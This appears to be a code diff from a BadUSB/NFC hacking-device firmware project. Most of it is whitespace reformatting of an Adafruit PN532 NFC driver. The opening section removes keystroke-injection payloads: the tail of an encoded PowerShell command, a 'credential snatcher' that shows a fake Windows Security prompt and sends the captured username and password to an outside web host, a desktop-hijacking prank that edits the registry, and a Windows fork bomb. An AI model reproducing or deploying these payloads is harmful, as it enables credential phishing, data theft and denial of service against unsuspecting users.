| 368 | − | "WVudAAuAEMAbABvAHMAZQAoACkAIgApACkAOwBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQB" | |
| 369 | − | "zAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAb" | |
| 370 | − | "gBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAGuAZwAoACQAcwAuAFQAbwBBAHI" | |
| 371 | − | "AcgBhAHkAKAApACkAKQA="); | |
| 372 | − | ||
| 373 | − | Keyboard.write(KEY_RETURN); | |
| 374 | − | break; | |
| 375 | − | // ================= CREDENTIAL SNATCHER ================= | |
| 376 | − | case 11: | |
| 377 | − | showRunningScreen("Vault Crack"); | |
| 378 | − | ||
| 379 | − | // Open hidden PowerShell | |
| 380 | − | runCommand( | |
| 381 | − | "powershell -nop -W Hidden -c \"$cred = " | |
| 382 | − | "$host.ui.PromptForCredential('Windows Security','Please authenticate " | |
| 383 | − | "to update your system credentials.','',''); $p = " | |
| 384 | − | "$cred.GetNetworkCredential().Password; $u = $cred.UserName; " | |
| 385 | − | "Invoke-WebRequest -Uri 'http://krolyxon.com/log?u='+$u+'&p='+$p\""); | |
| 386 | − | ||
| 387 | − | break; | |
| 388 | − | // ================= DESKTOP GHOST ================= | |
| 389 | − | case 12: | |
| 390 | − | showRunningScreen("Ghost Mode"); | |
| 391 | − | ||
| 392 | − | runCommand("powershell -nop -W Hidden -c \"Add-Type -AssemblyName " | |
| 393 | − | "System.Windows.Forms; " | |
| 394 | − | "[System.Windows.Forms.SendKeys]::SendWait('{PRTSC}'); " | |
| 395 | − | "Start-Sleep -s 1; $path = '$env:TEMP\\bg.png'; (Get-Clipboard " | |
| 396 | − | "-Format Image).Save($path); Set-ItemProperty -Path " | |
| 397 | − | "'HKCU:\\Control Panel\\Desktop' -Name Wallpaper -Value $path; " | |
| 398 | − | "rundll32.exe user32.dll,UpdatePerUserSystemParameters;\""); | |
| 399 | − | ||
| 400 | − | // Hide Desktop Icons (requires a registry tweak) | |
| 401 | − | typeSlow("reg add " | |
| 402 | − | "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Adv" | |
| 403 | − | "anced /v HideIcons /t REG_DWORD /d 1 /f && taskkill /f /im " | |
| 404 | − | "explorer.exe && start explorer.exe"); | |
| 405 | − | Keyboard.write(KEY_RETURN); | |
| 406 | − | ||
| 407 | − | break; | |
| 408 | − | // ================= FORK BOMB ================= | |
| 409 | − | case 13: | |
| 410 | − | showRunningScreen("System Stress"); | |
| 411 | − | ||
| 412 | − | runCommand("cmd"); | |
| 413 | − | delay(500); | |
| 414 | − | ||
| 415 | − | // The shortest deadly command in Windows | |
| 416 | − | typeSlow("%0|%0"); | |
| 417 | − | Keyboard.write(KEY_RETURN); | |
| 418 | − | ||
| 419 | − | break; | |
| 420 | − | } | |
| 421 | 446 | } | |
| @@ -1,4 +1,5 @@ | |||
| 1 | 1 | #pragma once | |
| 2 | + | #include <Arduino.h> | |
| 2 | 3 | ||
| 3 | 4 | void badUSBMenu(int index); | |
| 4 | 5 | void showRunningScreen(String taskName, uint8_t duration); | |
| @@ -91,9 +91,9 @@ byte pn532_packetbuffer[PN532_PACKBUFFSIZ]; ///< Packet buffer used in various | |||
| 91 | 91 | /**************************************************************************/ | |
| 92 | 92 | Adafruit_PN532::Adafruit_PN532(uint8_t clk, uint8_t miso, uint8_t mosi, | |
| 93 | 93 | uint8_t ss) { | |
| 94 | − | _cs = ss; | |
| 95 | − | spi_dev = new Adafruit_SPIDevice(ss, clk, miso, mosi, 1000000, | |
| 96 | − | SPI_BITORDER_LSBFIRST, SPI_MODE0); | |
| 94 | + | _cs = ss; | |
| 95 | + | spi_dev = new Adafruit_SPIDevice(ss, clk, miso, mosi, 1000000, | |
| 96 | + | SPI_BITORDER_LSBFIRST, SPI_MODE0); | |
| 97 | 97 | } | |
| 98 | 98 | ||
| 99 | 99 | /**************************************************************************/ | |
| @@ -107,9 +107,9 @@ Adafruit_PN532::Adafruit_PN532(uint8_t clk, uint8_t miso, uint8_t mosi, | |||
| 107 | 107 | /**************************************************************************/ | |
| 108 | 108 | Adafruit_PN532::Adafruit_PN532(uint8_t irq, uint8_t reset, TwoWire *theWire) | |
| 109 | 109 | : _irq(irq), _reset(reset) { | |
| 110 | − | pinMode(_irq, INPUT); | |
| 111 | − | pinMode(_reset, OUTPUT); | |
| 112 | − | i2c_dev = new Adafruit_I2CDevice(PN532_I2C_ADDRESS, theWire); | |
| 110 | + | pinMode(_irq, INPUT); | |
| 111 | + | pinMode(_reset, OUTPUT); | |
| 112 | + | i2c_dev = new Adafruit_I2CDevice(PN532_I2C_ADDRESS, theWire); | |
| 113 | 113 | } | |
| 114 | 114 | ||
| 115 | 115 | /**************************************************************************/ | |
| @@ -121,9 +121,9 @@ Adafruit_PN532::Adafruit_PN532(uint8_t irq, uint8_t reset, TwoWire *theWire) | |||
| 121 | 121 | */ | |
| 122 | 122 | /**************************************************************************/ | |
| 123 | 123 | Adafruit_PN532::Adafruit_PN532(uint8_t ss, SPIClass *theSPI) { | |
| 124 | − | _cs = ss; | |
| 125 | − | spi_dev = new Adafruit_SPIDevice(ss, 1000000, SPI_BITORDER_LSBFIRST, | |
| 126 | − | SPI_MODE0, theSPI); | |
| 124 | + | _cs = ss; | |
| 125 | + | spi_dev = new Adafruit_SPIDevice(ss, 1000000, SPI_BITORDER_LSBFIRST, | |
| 126 | + | SPI_MODE0, theSPI); | |
| 127 | 127 | } | |
| 128 | 128 | ||
| 129 | 129 | /**************************************************************************/ | |
| @@ -136,8 +136,8 @@ Adafruit_PN532::Adafruit_PN532(uint8_t ss, SPIClass *theSPI) { | |||
| 136 | 136 | /**************************************************************************/ | |
| 137 | 137 | Adafruit_PN532::Adafruit_PN532(uint8_t reset, HardwareSerial *theSer) | |
| 138 | 138 | : _reset(reset) { | |
| 139 | − | pinMode(_reset, OUTPUT); | |
| 140 | − | ser_dev = theSer; | |
| 139 | + | pinMode(_reset, OUTPUT); | |
| 140 | + | ser_dev = theSer; | |
| 141 | 141 | } | |
| 142 | 142 | ||
| 143 | 143 | /**************************************************************************/ | |
| @@ -148,30 +148,30 @@ Adafruit_PN532::Adafruit_PN532(uint8_t reset, HardwareSerial *theSer) | |||
| 148 | 148 | */ | |
| 149 | 149 | /**************************************************************************/ | |
| 150 | 150 | bool Adafruit_PN532::begin() { | |
| 151 | − | if (spi_dev) { | |
| 152 | − | // SPI initialization | |
| 153 | − | if (!spi_dev->begin()) { | |
| 154 | − | return false; | |
| 155 | − | } | |
| 156 | − | } else if (i2c_dev) { | |
| 157 | − | // I2C initialization | |
| 158 | − | // PN532 will fail address check since its asleep, so suppress | |
| 159 | − | if (!i2c_dev->begin(false)) { | |
| 160 | − | return false; | |
| 151 | + | if (spi_dev) { | |
| 152 | + | // SPI initialization | |
| 153 | + | if (!spi_dev->begin()) { | |
| 154 | + | return false; | |
| 155 | + | } | |
| 156 | + | } else if (i2c_dev) { | |
| 157 | + | // I2C initialization | |
| 158 | + | // PN532 will fail address check since its asleep, so suppress | |
| 159 | + | if (!i2c_dev->begin(false)) { | |
| 160 | + | return false; | |
| 161 | + | } | |
| 162 | + | } else if (ser_dev) { | |
| 163 | + | ser_dev->begin(115200); | |
| 164 | + | // clear out anything in read buffer | |
| 165 | + | while (ser_dev->available()) | |
| 166 | + | ser_dev->read(); | |
| 167 | + | } else { | |
| 168 | + | // no interface specified | |
| 169 | + | return false; | |
| 161 | 170 | } | |
| 162 | − | } else if (ser_dev) { | |
| 163 | − | ser_dev->begin(115200); | |
| 164 | − | // clear out anything in read buffer | |
| 165 | − | while (ser_dev->available()) | |
| 166 | − | ser_dev->read(); | |
| 167 | − | } else { | |
| 168 | − | // no interface specified | |
| 169 | − | return false; | |
| 170 | − | } | |
| 171 | − | reset(); // HW reset - put in known state | |
| 172 | − | delay(10); | |
| 173 | − | wakeup(); // hey! wakeup! | |
| 174 | − | return true; | |
| 171 | + | reset(); // HW reset - put in known state | |
| 172 | + | delay(10); | |
| 173 | + | wakeup(); // hey! wakeup! | |
| 174 | + | return true; | |
| 175 | 175 | } | |
| 176 | 176 | ||
| 177 | 177 | /**************************************************************************/ | |
| @@ -180,13 +180,13 @@ bool Adafruit_PN532::begin() { | |||
| 180 | 180 | */ | |
| 181 | 181 | /**************************************************************************/ | |
| 182 | 182 | void Adafruit_PN532::reset(void) { | |
| 183 | − | // see Datasheet p.209, Fig.48 for timings | |
| 184 | − | if (_reset != -1) { | |
| 185 | − | digitalWrite(_reset, LOW); | |
| 186 | − | delay(1); // min 20ns | |
| 187 | − | digitalWrite(_reset, HIGH); | |
| 188 | − | delay(2); // max 2ms | |
| 189 | − | } | |
| 183 | + | // see Datasheet p.209, Fig.48 for timings | |
| 184 | + | if (_reset != -1) { | |
| 185 | + | digitalWrite(_reset, LOW); | |
| 186 | + | delay(1); // min 20ns | |
| 187 | + | digitalWrite(_reset, HIGH); | |
| 188 | + | delay(2); // max 2ms | |
| 189 | + | } | |
| 190 | 190 | } | |
| 191 | 191 | ||
| 192 | 192 | /**************************************************************************/ | |
| @@ -195,21 +195,21 @@ void Adafruit_PN532::reset(void) { | |||
| 195 | 195 | */ | |
| 196 | 196 | /**************************************************************************/ | |
| 197 | 197 | void Adafruit_PN532::wakeup(void) { | |
| 198 | − | // interface specific wakeups - each one is unique! | |
| 199 | − | if (spi_dev) { | |
| 200 | − | // hold CS low for 2ms | |
| 201 | − | digitalWrite(_cs, LOW); | |
| 202 | − | delay(2); | |
| 203 | − | } else if (ser_dev) { | |
| 204 | − | uint8_t w[3] = {0x55, 0x00, 0x00}; | |
| 205 | − | ser_dev->write(w, 3); | |
| 206 | − | delay(2); | |
| 207 | − | } | |
| 208 | − | ||
| 209 | − | // PN532 will clock stretch I2C during SAMConfig as a "wakeup" | |
| 210 | − | ||
| 211 | − | // need to config SAM to stay in Normal Mode | |
| 212 | − | SAMConfig(); | |
| 198 | + | // interface specific wakeups - each one is unique! | |
| 199 | + | if (spi_dev) { | |
| 200 | + | // hold CS low for 2ms | |
| 201 | + | digitalWrite(_cs, LOW); | |
| 202 | + | delay(2); | |
| 203 | + | } else if (ser_dev) { | |
| 204 | + | uint8_t w[3] = {0x55, 0x00, 0x00}; | |
| 205 | + | ser_dev->write(w, 3); | |
| 206 | + | delay(2); | |
| 207 | + | } | |
| 208 | + | ||
| 209 | + | // PN532 will clock stretch I2C during SAMConfig as a "wakeup" | |
| 210 | + | ||
| 211 | + | // need to config SAM to stay in Normal Mode | |
| 212 | + | SAMConfig(); | |
| 213 | 213 | } | |
| 214 | 214 | ||
| 215 | 215 | /**************************************************************************/ | |
| @@ -221,18 +221,18 @@ void Adafruit_PN532::wakeup(void) { | |||
| 221 | 221 | */ | |
| 222 | 222 | /**************************************************************************/ | |
| 223 | 223 | void Adafruit_PN532::PrintHex(const byte *data, const uint32_t numBytes) { | |
| 224 | − | uint32_t szPos; | |
| 225 | − | for (szPos = 0; szPos < numBytes; szPos++) { | |
| 226 | − | PN532DEBUGPRINT.print(F("0x")); | |
| 227 | − | // Append leading 0 for small values | |
| 228 | − | if (data[szPos] <= 0xF) | |
| 229 | − | PN532DEBUGPRINT.print(F("0")); | |
| 230 | − | PN532DEBUGPRINT.print(data[szPos] & 0xff, HEX); | |
| 231 | − | if ((numBytes > 1) && (szPos != numBytes - 1)) { | |
| 232 | − | PN532DEBUGPRINT.print(F(" ")); | |
| 224 | + | uint32_t szPos; | |
| 225 | + | for (szPos = 0; szPos < numBytes; szPos++) { | |
| 226 | + | PN532DEBUGPRINT.print(F("0x")); | |
| 227 | + | // Append leading 0 for small values | |
| 228 | + | if (data[szPos] <= 0xF) | |
| 229 | + | PN532DEBUGPRINT.print(F("0")); | |
| 230 | + | PN532DEBUGPRINT.print(data[szPos] & 0xff, HEX); | |
| 231 | + | if ((numBytes > 1) && (szPos != numBytes - 1)) { | |
| 232 | + | PN532DEBUGPRINT.print(F(" ")); | |
| 233 | + | } | |
| 233 | 234 | } | |
| 234 | − | } | |
| 235 | − | PN532DEBUGPRINT.println(); | |
| 235 | + | PN532DEBUGPRINT.println(); | |
| 236 | 236 | } | |
| 237 | 237 | ||
| 238 | 238 | /**************************************************************************/ | |
| @@ -247,24 +247,24 @@ void Adafruit_PN532::PrintHex(const byte *data, const uint32_t numBytes) { | |||
| 247 | 247 | */ | |
| 248 | 248 | /**************************************************************************/ | |
| 249 | 249 | void Adafruit_PN532::PrintHexChar(const byte *data, const uint32_t numBytes) { | |
| 250 | − | uint32_t szPos; | |
| 251 | − | for (szPos = 0; szPos < numBytes; szPos++) { | |
| 252 | − | // Append leading 0 for small values | |
| 253 | − | if (data[szPos] <= 0xF) | |
| 254 | − | PN532DEBUGPRINT.print(F("0")); | |
| 255 | − | PN532DEBUGPRINT.print(data[szPos], HEX); | |
| 256 | − | if ((numBytes > 1) && (szPos != numBytes - 1)) { | |
| 257 | − | PN532DEBUGPRINT.print(F(" ")); | |
| 250 | + | uint32_t szPos; | |
| 251 | + | for (szPos = 0; szPos < numBytes; szPos++) { | |
| 252 | + | // Append leading 0 for small values | |
| 253 | + | if (data[szPos] <= 0xF) | |
| 254 | + | PN532DEBUGPRINT.print(F("0")); | |
| 255 | + | PN532DEBUGPRINT.print(data[szPos], HEX); | |
| 256 | + | if ((numBytes > 1) && (szPos != numBytes - 1)) { | |
| 257 | + | PN532DEBUGPRINT.print(F(" ")); | |
| 258 | + | } | |
| 258 | 259 | } | |
| 259 | − | } | |
| 260 | − | PN532DEBUGPRINT.print(F(" ")); | |
| 261 | − | for (szPos = 0; szPos < numBytes; szPos++) { | |
| 262 | − | if (data[szPos] <= 0x1F) | |
| 263 | − | PN532DEBUGPRINT.print(F(".")); | |
| 264 | − | else | |
| 265 | − | PN532DEBUGPRINT.print((char)data[szPos]); | |
| 266 | − | } | |
| 267 | − | PN532DEBUGPRINT.println(); | |
| 260 | + | PN532DEBUGPRINT.print(F(" ")); | |
| 261 | + | for (szPos = 0; szPos < numBytes; szPos++) { | |
| 262 | + | if (data[szPos] <= 0x1F) | |
| 263 | + | PN532DEBUGPRINT.print(F(".")); | |
| 264 | + | else | |
| 265 | + | PN532DEBUGPRINT.print((char)data[szPos]); | |
| 266 | + | } | |
| 267 | + | PN532DEBUGPRINT.println(); | |
| 268 | 268 | } | |
| 269 | 269 | ||
| 270 | 270 | /**************************************************************************/ | |
| @@ -275,36 +275,36 @@ void Adafruit_PN532::PrintHexChar(const byte *data, const uint32_t numBytes) { | |||
| 275 | 275 | */ | |
| 276 | 276 | /**************************************************************************/ | |
| 277 | 277 | uint32_t Adafruit_PN532::getFirmwareVersion(void) { | |
| 278 | − | uint32_t response; | |
| 278 | + | uint32_t response; | |
| 279 | 279 | ||
| 280 | − | pn532_packetbuffer[0] = PN532_COMMAND_GETFIRMWAREVERSION; | |
| 280 | + | pn532_packetbuffer[0] = PN532_COMMAND_GETFIRMWAREVERSION; | |
| 281 | 281 | ||
| 282 | − | if (!sendCommandCheckAck(pn532_packetbuffer, 1)) { | |
| 283 | − | return 0; | |
| 284 | − | } | |
| 282 | + | if (!sendCommandCheckAck(pn532_packetbuffer, 1)) { | |
| 283 | + | return 0; | |
| 284 | + | } | |
| 285 | 285 | ||
| 286 | − | // read data packet | |
| 287 | − | readdata(pn532_packetbuffer, 13); | |
| 286 | + | // read data packet | |
| 287 | + | readdata(pn532_packetbuffer, 13); | |
| 288 | 288 | ||
| 289 | − | // check some basic stuff | |
| 290 | − | if (0 != memcmp((char *)pn532_packetbuffer, | |
| 291 | − | (char *)pn532response_firmwarevers, 6)) { | |
| 289 | + | // check some basic stuff | |
| 290 | + | if (0 != memcmp((char *)pn532_packetbuffer, | |
| 291 | + | (char *)pn532response_firmwarevers, 6)) { | |
| 292 | 292 | #ifdef PN532DEBUG | |
| 293 | − | PN532DEBUGPRINT.println(F("Firmware doesn't match!")); | |
| 293 | + | PN532DEBUGPRINT.println(F("Firmware doesn't match!")); | |
| 294 | 294 | #endif | |
| 295 | − | return 0; | |
| 296 | − | } | |
| 297 | − | ||
| 298 | − | int offset = 7; | |
| 299 | − | response = pn532_packetbuffer[offset++]; | |
| 300 | − | response <<= 8; | |
| 301 | − | response |= pn532_packetbuffer[offset++]; | |
| 302 | − | response <<= 8; | |
| 303 | − | response |= pn532_packetbuffer[offset++]; | |
| 304 | − | response <<= 8; | |
| 305 | − | response |= pn532_packetbuffer[offset++]; | |
| 306 | − | ||
| 307 | − | return response; | |
| 295 | + | return 0; | |
| 296 | + | } | |
| 297 | + | ||
| 298 | + | int offset = 7; | |
| 299 | + | response = pn532_packetbuffer[offset++]; | |
| 300 | + | response <<= 8; | |
| 301 | + | response |= pn532_packetbuffer[offset++]; | |
| 302 | + | response <<= 8; | |
| 303 | + | response |= pn532_packetbuffer[offset++]; | |
| 304 | + | response <<= 8; | |
| 305 | + | response |= pn532_packetbuffer[offset++]; | |
| 306 | + | ||
| 307 | + | return response; | |
| 308 | 308 | } | |
| 309 | 309 | ||
| 310 | 310 | /**************************************************************************/ | |
| @@ -323,46 +323,46 @@ uint32_t Adafruit_PN532::getFirmwareVersion(void) { | |||
| 323 | 323 | bool Adafruit_PN532::sendCommandCheckAck(uint8_t *cmd, uint8_t cmdlen, | |
| 324 | 324 | uint16_t timeout) { | |
| 325 | 325 | ||
| 326 | − | // I2C works without using IRQ pin by polling for RDY byte | |
| 327 | − | // seems to work best with some delays between transactions | |
| 328 | − | uint8_t SLOWDOWN = 0; | |
| 329 | − | if (i2c_dev || spi_dev) // SPI and I2C need 1ms slow for page reads | |
| 330 | − | SLOWDOWN = 1; | |
| 326 | + | // I2C works without using IRQ pin by polling for RDY byte | |
| 327 | + | // seems to work best with some delays between transactions | |
| 328 | + | uint8_t SLOWDOWN = 0; | |
| 329 | + | if (i2c_dev || spi_dev) // SPI and I2C need 1ms slow for page reads | |
| 330 | + | SLOWDOWN = 1; | |
| 331 | 331 | ||
| 332 | − | // write the command | |
| 333 | − | writecommand(cmd, cmdlen); | |
| 332 | + | // write the command | |
| 333 | + | writecommand(cmd, cmdlen); | |
| 334 | 334 | ||
| 335 | − | // I2C TUNING | |
| 336 | − | delay(SLOWDOWN); | |
| 335 | + | // I2C TUNING | |
| 336 | + | delay(SLOWDOWN); | |
| 337 | 337 | ||
| 338 | − | // Wait for chip to say its ready! | |
| 339 | − | if (!waitready(timeout)) { | |
| 340 | − | return false; | |
| 341 | − | } | |
| 338 | + | // Wait for chip to say its ready! | |
| 339 | + | if (!waitready(timeout)) { | |
| 340 | + | return false; | |
| 341 | + | } | |
| 342 | 342 | ||
| 343 | 343 | #ifdef PN532DEBUG | |
| 344 | − | if (spi_dev == NULL) { | |
| 345 | − | PN532DEBUGPRINT.println(F("IRQ received")); | |
| 346 | − | } | |
| 344 | + | if (spi_dev == NULL) { | |
| 345 | + | PN532DEBUGPRINT.println(F("IRQ received")); | |
| 346 | + | } | |
| 347 | 347 | #endif | |
| 348 | 348 | ||
| 349 | − | // read acknowledgement | |
| 350 | − | if (!readack()) { | |
| 349 | + | // read acknowledgement | |
| 350 | + | if (!readack()) { | |
| 351 | 351 | #ifdef PN532DEBUG | |
| 352 | − | PN532DEBUGPRINT.println(F("No ACK frame received!")); | |
| 352 | + | PN532DEBUGPRINT.println(F("No ACK frame received!")); | |
| 353 | 353 | #endif | |
| 354 | − | return false; | |
| 355 | − | } | |
| 354 | + | return false; | |
| 355 | + | } | |
| 356 | 356 | ||
| 357 | − | // I2C TUNING | |
| 358 | − | delay(SLOWDOWN); | |
| 357 | + | // I2C TUNING | |
| 358 | + | delay(SLOWDOWN); | |
| 359 | 359 | ||
| 360 | − | // Wait for chip to say its ready! | |
| 361 | − | if (!waitready(timeout)) { | |
| 362 | − | return false; | |
| 363 | − | } | |
| 360 | + | // Wait for chip to say its ready! | |
| 361 | + | if (!waitready(timeout)) { | |
| 362 | + | return false; | |
| 363 | + | } | |
| 364 | 364 | ||
| 365 | − | return true; // ack'd command | |
| 365 | + | return true; // ack'd command | |
| 366 | 366 | } | |
| 367 | 367 | ||
| 368 | 368 | /**************************************************************************/ | |
| @@ -389,37 +389,37 @@ bool Adafruit_PN532::sendCommandCheckAck(uint8_t *cmd, uint8_t cmdlen, | |||
| 389 | 389 | */ | |
| 390 | 390 | /**************************************************************************/ | |
| 391 | 391 | bool Adafruit_PN532::writeGPIO(uint8_t pinstate) { | |
| 392 | − | // uint8_t errorbit; | |
| 392 | + | // uint8_t errorbit; | |
| 393 | 393 | ||
| 394 | − | // Make sure pinstate does not try to toggle P32 or P34 | |
| 395 | − | pinstate |= (1 << PN532_GPIO_P32) | (1 << PN532_GPIO_P34); | |
| 394 | + | // Make sure pinstate does not try to toggle P32 or P34 | |
| 395 | + | pinstate |= (1 << PN532_GPIO_P32) | (1 << PN532_GPIO_P34); | |
| 396 | 396 | ||
| 397 | − | // Fill command buffer | |
| 398 | − | pn532_packetbuffer[0] = PN532_COMMAND_WRITEGPIO; | |
| 399 | − | pn532_packetbuffer[1] = PN532_GPIO_VALIDATIONBIT | pinstate; // P3 Pins | |
| 400 | − | pn532_packetbuffer[2] = 0x00; // P7 GPIO Pins (not used ... taken by SPI) | |
| 397 | + | // Fill command buffer | |
| 398 | + | pn532_packetbuffer[0] = PN532_COMMAND_WRITEGPIO; | |
| 399 | + | pn532_packetbuffer[1] = PN532_GPIO_VALIDATIONBIT | pinstate; // P3 Pins | |
| 400 | + | pn532_packetbuffer[2] = 0x00; // P7 GPIO Pins (not used ... taken by SPI) | |
| 401 | 401 | ||
| 402 | 402 | #ifdef PN532DEBUG | |
| 403 | − | PN532DEBUGPRINT.print(F("Writing P3 GPIO: ")); | |
| 404 | − | PN532DEBUGPRINT.println(pn532_packetbuffer[1], HEX); | |
| 403 | + | PN532DEBUGPRINT.print(F("Writing P3 GPIO: ")); | |
| 404 | + | PN532DEBUGPRINT.println(pn532_packetbuffer[1], HEX); | |
| 405 | 405 | #endif | |
| 406 | 406 | ||
| 407 | − | // Send the WRITEGPIO command (0x0E) | |
| 408 | − | if (!sendCommandCheckAck(pn532_packetbuffer, 3)) | |
| 409 | − | return 0x0; | |
| 407 | + | // Send the WRITEGPIO command (0x0E) | |
| 408 | + | if (!sendCommandCheckAck(pn532_packetbuffer, 3)) | |
| 409 | + | return 0x0; | |
| 410 | 410 | ||
| 411 | − | // Read response packet (00 FF PLEN PLENCHECKSUM D5 CMD+1(0x0F) DATACHECKSUM | |
| 412 | − | // 00) | |
| 413 | − | readdata(pn532_packetbuffer, 8); | |
| 411 | + | // Read response packet (00 FF PLEN PLENCHECKSUM D5 CMD+1(0x0F) DATACHECKSUM | |
| 412 | + | // 00) | |
| 413 | + | readdata(pn532_packetbuffer, 8); | |
| 414 | 414 | ||
| 415 | 415 | #ifdef PN532DEBUG | |
| 416 | − | PN532DEBUGPRINT.print(F("Received: ")); | |
| 417 | − | PrintHex(pn532_packetbuffer, 8); | |
| 418 | − | PN532DEBUGPRINT.println(); | |
| 416 | + | PN532DEBUGPRINT.print(F("Received: ")); | |
| 417 | + | PrintHex(pn532_packetbuffer, 8); | |
| 418 | + | PN532DEBUGPRINT.println(); | |
| 419 | 419 | #endif | |
| 420 | 420 | ||
| 421 | − | int offset = 6; | |
| 422 | − | return (pn532_packetbuffer[offset] == 0x0F); | |
| 421 | + | int offset = 6; | |
| 422 | + | return (pn532_packetbuffer[offset] == 0x0F); | |
| 423 | 423 | } | |
| 424 | 424 | ||
| 425 | 425 | /**************************************************************************/ | |
| @@ -437,53 +437,52 @@ bool Adafruit_PN532::writeGPIO(uint8_t pinstate) { | |||
| 437 | 437 | */ | |
| 438 | 438 | /**************************************************************************/ | |
| 439 | 439 | uint8_t Adafruit_PN532::readGPIO(void) { | |
| 440 | − | pn532_packetbuffer[0] = PN532_COMMAND_READGPIO; | |
| 440 | + | pn532_packetbuffer[0] = PN532_COMMAND_READGPIO; | |
| 441 | 441 | ||
| 442 | − | // Send the READGPIO command (0x0C) | |
| 443 | − | if (!sendCommandCheckAck(pn532_packetbuffer, 1)) | |
| 444 | − | return 0x0; | |
| 442 | + | // Send the READGPIO command (0x0C) | |
| 443 | + | if (!sendCommandCheckAck(pn532_packetbuffer, 1)) | |
| 444 | + | return 0x0; | |
| 445 | 445 | ||
| 446 | − | // Read response packet (00 FF PLEN PLENCHECKSUM D5 CMD+1(0x0D) P3 P7 IO1 | |
| 447 | − | // DATACHECKSUM 00) | |
| 448 | − | readdata(pn532_packetbuffer, 11); | |
| 446 | + | // Read response packet (00 FF PLEN PLENCHECKSUM D5 CMD+1(0x0D) P3 P7 IO1 | |
| 447 | + | // DATACHECKSUM 00) | |
| 448 | + | readdata(pn532_packetbuffer, 11); | |
| 449 | 449 | ||
| 450 | − | /* READGPIO response should be in the following format: | |
| 450 | + | /* READGPIO response should be in the following format: | |
| 451 | 451 | ||
| 452 | − | byte Description | |
| 453 | − | ------------- ------------------------------------------ | |
| 454 | − | b0..5 Frame header and preamble (with I2C there is an extra 0x00) | |
| 455 | − | b6 P3 GPIO Pins | |
| 456 | − | b7 P7 GPIO Pins (not used ... taken by SPI) | |
| 457 | − | b8 Interface Mode Pins (not used ... bus select pins) | |
| 458 | − | b9..10 checksum */ | |
| 452 | + | byte Description | |
| 453 | + | ------------- ------------------------------------------ | |
| 454 | + | b0..5 Frame header and preamble (with I2C there is an extra | |
| 455 | + | 0x00) b6 P3 GPIO Pins b7 P7 GPIO Pins (not used | |
| 456 | + | ... taken by SPI) b8 Interface Mode Pins (not used ... bus | |
| 457 | + | select pins) b9..10 checksum */ | |
| 459 | 458 | ||
| 460 | − | int p3offset = 7; | |
| 459 | + | int p3offset = 7; | |
| 461 | 460 | ||
| 462 | 461 | #ifdef PN532DEBUG | |
| 463 | − | PN532DEBUGPRINT.print(F("Received: ")); | |
| 464 | − | PrintHex(pn532_packetbuffer, 11); | |
| 465 | − | PN532DEBUGPRINT.println(); | |
| 466 | − | PN532DEBUGPRINT.print(F("P3 GPIO: 0x")); | |
| 467 | − | PN532DEBUGPRINT.println(pn532_packetbuffer[p3offset], HEX); | |
| 468 | − | PN532DEBUGPRINT.print(F("P7 GPIO: 0x")); | |
| 469 | − | PN532DEBUGPRINT.println(pn532_packetbuffer[p3offset + 1], HEX); | |
| 470 | − | PN532DEBUGPRINT.print(F("IO GPIO: 0x")); | |
| 471 | − | PN532DEBUGPRINT.println(pn532_packetbuffer[p3offset + 2], HEX); | |
| 472 | − | // Note: You can use the IO GPIO value to detect the serial bus being used | |
| 473 | − | switch (pn532_packetbuffer[p3offset + 2]) { | |
| 474 | − | case 0x00: // Using UART | |
| 475 | − | PN532DEBUGPRINT.println(F("Using UART (IO = 0x00)")); | |
| 476 | − | break; | |
| 477 | − | case 0x01: // Using I2C | |
| 478 | − | PN532DEBUGPRINT.println(F("Using I2C (IO = 0x01)")); | |
| 479 | − | break; | |
| 480 | − | case 0x02: // Using SPI | |
| 481 | − | PN532DEBUGPRINT.println(F("Using SPI (IO = 0x02)")); | |
| 482 | − | break; | |
| 483 | − | } | |
| 462 | + | PN532DEBUGPRINT.print(F("Received: ")); | |
| 463 | + | PrintHex(pn532_packetbuffer, 11); | |
| 464 | + | PN532DEBUGPRINT.println(); | |
| 465 | + | PN532DEBUGPRINT.print(F("P3 GPIO: 0x")); | |
| 466 | + | PN532DEBUGPRINT.println(pn532_packetbuffer[p3offset], HEX); | |
| 467 | + | PN532DEBUGPRINT.print(F("P7 GPIO: 0x")); | |
| 468 | + | PN532DEBUGPRINT.println(pn532_packetbuffer[p3offset + 1], HEX); | |
| 469 | + | PN532DEBUGPRINT.print(F("IO GPIO: 0x")); | |
| 470 | + | PN532DEBUGPRINT.println(pn532_packetbuffer[p3offset + 2], HEX); | |
| 471 | + | // Note: You can use the IO GPIO value to detect the serial bus being used | |
| 472 | + | switch (pn532_packetbuffer[p3offset + 2]) { | |
| 473 | + | case 0x00: // Using UART | |
| 474 | + | PN532DEBUGPRINT.println(F("Using UART (IO = 0x00)")); | |
| 475 | + | break; | |
| 476 | + | case 0x01: // Using I2C | |
| 477 | + | PN532DEBUGPRINT.println(F("Using I2C (IO = 0x01)")); | |
| 478 | + | break; | |
| 479 | + | case 0x02: // Using SPI | |
| 480 | + | PN532DEBUGPRINT.println(F("Using SPI (IO = 0x02)")); | |
| 481 | + | break; | |
| 482 | + | } | |
| 484 | 483 | #endif | |
| 485 | 484 | ||
| 486 | − | return pn532_packetbuffer[p3offset]; | |
| 485 | + | return pn532_packetbuffer[p3offset]; | |
| 487 | 486 | } | |
| 488 | 487 | ||
| 489 | 488 | /**************************************************************************/ | |
| @@ -493,19 +492,19 @@ uint8_t Adafruit_PN532::readGPIO(void) { | |||
| 493 | 492 | */ | |
| 494 | 493 | /**************************************************************************/ | |
| 495 | 494 | bool Adafruit_PN532::SAMConfig(void) { | |
| 496 | − | pn532_packetbuffer[0] = PN532_COMMAND_SAMCONFIGURATION; | |
| 497 | − | pn532_packetbuffer[1] = 0x01; // normal mode; | |
| 498 | − | pn532_packetbuffer[2] = 0x14; // timeout 50ms * 20 = 1 second | |
| 499 | − | pn532_packetbuffer[3] = 0x01; // use IRQ pin! | |
| 495 | + | pn532_packetbuffer[0] = PN532_COMMAND_SAMCONFIGURATION; | |
| 496 | + | pn532_packetbuffer[1] = 0x01; // normal mode; | |
| 497 | + | pn532_packetbuffer[2] = 0x14; // timeout 50ms * 20 = 1 second | |
| 498 | + | pn532_packetbuffer[3] = 0x01; // use IRQ pin! | |
| 500 | 499 | ||
| 501 | − | if (!sendCommandCheckAck(pn532_packetbuffer, 4)) | |
| 502 | − | return false; | |
